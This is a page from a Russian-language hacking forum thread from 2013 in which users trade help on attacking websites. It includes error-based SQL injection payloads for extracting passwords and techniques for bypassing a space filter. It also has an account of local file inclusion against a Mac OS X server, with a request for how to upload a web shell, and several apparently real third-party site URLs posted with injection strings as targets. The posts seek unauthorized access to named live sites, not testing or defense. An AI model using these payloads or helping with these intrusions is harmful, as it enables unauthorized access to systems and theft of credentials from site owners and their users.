HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 2265 из 2438 « Первая < 12651765216522152255 2261 2262 2263 2264 2265 2266 2267 2268 2269 227523152365 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #22641  
Старый 01.08.2013, 20:49
Unknowhacker
Guest
Сообщений: n/a
Провел на форуме:
94006

Репутация: 24
По умолчанию
Дело обстоит так.. есть сайт, на котором можно узнать version; database запросом

Код:
Code:
and(extractvalue(1,concat(0x3a,database())))and'
, а для получения пароля нужно выполнить запрос (Источник кн. Дмитрий Евтеев Positive technologies стр. 24)

Код:
Code:
and(extractvalue(1,concat(0x3a,(select pass from users limit 0,1)))and'
задача заключается в том, чтобы обойти ПРОБЕЛЫ .. Знатоки, помогите!
 
Ответить с цитированием

  #22642  
Старый 01.08.2013, 21:11
Грабитель
Guest
Сообщений: n/a
Провел на форуме:
69791

Репутация: -7
По умолчанию
Цитата:
Сообщение от Unknowhacker  
Unknowhacker said:
Дело обстоит так.. есть сайт, на котором можно узнать version; database запросом
Код:
Code:
and(extractvalue(1,concat(0x3a,database())))and'
, а для получения пароля нужно выполнить запрос (Источник кн. Дмитрий Евтеев Positive technologies стр. 24)
Код:
Code:
and(extractvalue(1,concat(0x3a,(select pass from users limit 0,1)))and'
задача заключается в том, чтобы обойти ПРОБЕЛЫ .. Знатоки, помогите!
select(password)from(tables)where(id=1)

только грешно взломами....
 
Ответить с цитированием

  #22643  
Старый 01.08.2013, 23:25
Unknowhacker
Guest
Сообщений: n/a
Провел на форуме:
94006

Репутация: 24
По умолчанию
Цитата:
Сообщение от Грабитель  
Грабитель said:
select(password)from(tables)where(id=1)
только грешно взломами....
Переделал на

Код:
Code:
and(extractvalue(1,concat(0x3a,select(password)from(tables)where(id=1))))and'
... не хочет зараза дикая
 
Ответить с цитированием

  #22644  
Старый 02.08.2013, 02:04
vikler
Guest
Сообщений: n/a
Провел на форуме:
36068

Репутация: 0
По умолчанию
LFI провожу на сервере, на котором Mac OS X

После двухдневного копания, отрыла логи error_log, не обновлялся с 2010 года, притом судя по последней записи "Defaced", этот лог тогда кто-то явно отравил

В связи с этим вопрос: можно ли на Mac OS x найти некое подобие proc/self/environ ? Где бы писался user-agent?

php://filter работает, но удалось посмотреть исходный код только main.php

Нашла логин, пароль, бд от MySQL sphinx, но дело дохлое: только local host connection

надо лить шелл...но как это сделать на этом *** Mac OS X
 
Ответить с цитированием

  #22645  
Старый 03.08.2013, 13:37
vikler
Guest
Сообщений: n/a
Провел на форуме:
36068

Репутация: 0
По умолчанию
Цитата:
Сообщение от OxoTnik  
OxoTnik said:
Посмотри другие логи, пути тут http://wiki.apache.org/httpd/DistrosDefaultLayout
не, НЕТУ

мЕНЯ НАСТОРАЖИВАЕТ, что все конфиги updat'ы 2010 года. что это значит? Сайт живой, обновляется просто постоянно, постоянный доступ посетителей....

edit: хотя нет, /var/log/secure.log обновляется сегодняшним днем к примеру
 
Ответить с цитированием

  #22646  
Старый 03.08.2013, 14:10
Cennarios
Участник форума
Регистрация: 13.07.2008
Сообщений: 101
Провел на форуме:
346497

Репутация: 303
Отправить сообщение для Cennarios с помощью ICQ
По умолчанию
Ничего настораживающего. Рабочие логи, как могут быть в другом месте, так и вовсе быть отключены в целях повышеня производительности. Можно попробовать поискать субдомены, обычно на технических, девелоп и тп сабах логи включены, не требуют тонкого тюнинга и тп.
 
Ответить с цитированием

  #22647  
Старый 03.08.2013, 15:08
vikler
Guest
Сообщений: n/a
Провел на форуме:
36068

Репутация: 0
По умолчанию
Цитата:
Сообщение от Cennarios  
Cennarios said:
Ничего настораживающего. Рабочие логи, как могут быть в другом месте, так и вовсе быть отключены в целях повышеня производительности. Можно попробовать поискать субдомены, обычно на технических, девелоп и тп сабах логи включены, не требуют тонкого тюнинга и тп.
хм, спасибо, попробую в суб-доменах поискать....

EDIT: в суб-доменах та же херь
 
Ответить с цитированием

  #22648  
Старый 05.08.2013, 15:16
nicols
Guest
Сообщений: n/a
Провел на форуме:
18470

Репутация: 0
По умолчанию
Помогите раскрутить

Код:
Code:
http://www.hochuvotpusk.ru:80/info.php?id=41
 
Ответить с цитированием

  #22649  
Старый 05.08.2013, 16:47
seozone
Guest
Сообщений: n/a
Провел на форуме:
10928

Репутация: 0
По умолчанию
Ребят, нашёл это: http://rp-gameworld.ru/misc/ что можно сделать с этим?
 
Ответить с цитированием

  #22650  
Старый 05.08.2013, 18:39
Unknowhacker
Guest
Сообщений: n/a
Провел на форуме:
94006

Репутация: 24
По умолчанию
Код:
Code:
http://www.cigarettehouse.net/?action=page&name=NEWS&page=-37+and+1=1+union+select+231,223+--+
Кто осилит?
 
Ответить с цитированием
Ответ
Страница 2265 из 2438 « Первая < 12651765216522152255 2261 2262 2263 2264 2265 2266 2267 2268 2269 227523152365 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ